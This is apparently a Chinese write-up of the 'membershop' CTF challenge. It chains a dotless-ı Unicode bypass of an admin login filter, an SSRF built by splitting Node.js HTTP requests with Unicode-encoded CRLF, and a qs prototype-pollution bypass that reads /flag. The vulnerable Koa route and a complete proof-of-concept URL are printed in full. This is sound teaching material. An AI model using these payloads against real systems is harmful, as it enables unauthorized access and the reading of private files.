membershop

点击此处获得更好的阅读体验


WriteUp来源

https://xz.aliyun.com/t/6911

题目考点

  • 拉丁文越权

  • ssrf

  • 原型链污染

解题思路

登陆的时候过滤了admin,同时发现小写字符转换成了大写字母显示。结合set-cookie是koa的框架,很容易联想到后端使用toUpperCase()做转换,拉丁文越权登陆admın

登陆成功之后多了一个请求记录的功能,同时登陆成功后给出源码的地址

拿到源码后简单看登陆逻辑

逻辑根据传入的用户名userName会在登陆前经过一次检测

当传入的用户名包含admin时,则自动循环replace掉。在登陆成功的同时会把username写进session里,这里可以看到只有我们登陆了admin才有权限加载其他模版

漏洞点在代码76-117行,它只允许请求以http://127.0.0.1:3000/query(后面拉到本地环境会改127.0.0.1这个地址,这是我本地debug)开头的url。输入其他开头的url会被error url,而且不存在任何host的绕过。当请求之后会被记录在sandbox的results.txt里面并且支持追加,sandbox根据ip建立

因为query也是一个路由,那么这里就存在一个ssrf。如何bypass去请求其他路由呢?只需要用unicode编码并且分割http包,例如

1
http://127.0.0.1:3000/query?param=1\u{0120}HTTP/1.1\u{010D}\u{010A}Host:\u{0120}127.0.0.1:3000\u{010D}\u{010A}Connection:\u{0120}keep-alive\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/\u{0173}\u{0161}\u{0176}\u{0165}

url编码是16进制,在http.get的时候不会进行percent encode,但是在buffer写入的时候会把xx解码。其中代表的是save,73617665是save的16进制表示。具体原理可以看:通过拆分请求来实现的SSRF攻击

接着就寻找一下其他路由存在的问题,可利用点在/save

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
home.get('/save',async(ctx)=>{
let ip = ctx.request.ip;
let reqbody = {switch:false}
reqbody = qs.parse(ctx.querystring,{allowPrototypes: false});

if (ip.substr(0, 7) == "::ffff:") {
ip = ip.substr(7);
}
if (ip !== '127.0.0.1' && ip !== server_ip) {
ctx.status = 403;
ctx.response.body = '403: You are not the local user';
}else {
if(reqbody.switch === true && reqbody.sandbox && reqbody.opath &&fs.existsSync(reqbody.spath)){
if(fs.existsSync(reqbody.sandbox)){
paths.opath = fs.readdirSync(reqbody.sandbox)[0];
}else if(fs.existsSync(reqbody.opath)){
let buffer;
tmp[reqbody.sandbox]['opath'] = reqbody.opath;
if(/[flag]/.test(tmp[reqbody.sandbox]['opath'])){
buffer = tmp[reqbody.sandbox]['opath'].replace(/f|l|a|g/g,'');
}else{
buffer = reqbody.opath;
}
}
let opath = paths.opath? paths.opath : buffer;
let text = fs.readFileSync(opath, 'utf8');
await WriteResults(reqbody.spath,text);

}else{
return false;
}
}
})

这里大致有两个障碍点:

1、限制了本地127.0.0.1访问 ->ssrf解决

2、通过qs包解析url参数存为对象,switch默认为flase,配置allowPrototypes=false,直接传递http参数不能覆盖switch。qs.parse() bypass for prototype pollution@qs<6.3,参考链接:Prototype Override Protection Bypass,传参:]=switch绕过

3、解析获得的对象需要三个参数sandbox、opath、spath。代码逻辑就是如果存在sandbox那么就取sandbox下的第一个文件(即results.txt)读取后写入spath,否则读取自定义的opath,将结果写入spath(两者前提都是spath必须存在且可写,只有sandbox/result.txt满足要求)。但是自定义opath会替换所有的[flag]字段,不允许直接读flag。

这里存在判断的绕过。原型链污染sandbox下的一个文件为/flag,再去自定义读到spath里

1
2
3
tmp['__proto__']['opath'] = '/flag';
=>
paths.opath = /flag

构造一下就能把flag追加写入到sandbox/results.txt。poc如下,调整一下opath为flag地址,sandbox为自己的md5(ip)就行了:

1
encodeURI("http://127.0.0.1:3000/query?param=1\u{0120}HTTP/1.1\u{010D}\u{010A}Host:\u{0120}127.0.0.1:3000\u{010D}\u{010A}Connection:\u{0120}keep-alive\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/\u{0173}\u{0161}\u{0176}\u{0165}?]=switch&sandbox=__proto__&opath=/flag&spath=tmp/ab54a5cf83f67d827ecba68e394f9196")